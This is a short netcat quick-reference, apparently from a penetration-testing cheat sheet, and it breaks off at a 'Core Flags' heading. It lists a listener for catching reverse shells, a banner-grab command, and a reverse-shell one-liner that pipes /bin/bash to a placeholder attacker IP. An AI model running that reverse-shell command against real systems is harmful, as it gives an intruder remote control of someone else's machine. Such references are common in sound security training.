Netcat / ncat

TCP/UDP utility — shells, file transfer, port probing, port forwarding.

Quick Start

# Listener (catch reverse shell)
nc -lvnp 4444

# Connect to port (test connectivity / banner grab)
nc -nv 10.10.10.10 80

# Reverse shell (from target)
nc -e /bin/bash <attacker_ip> 4444

Core Flags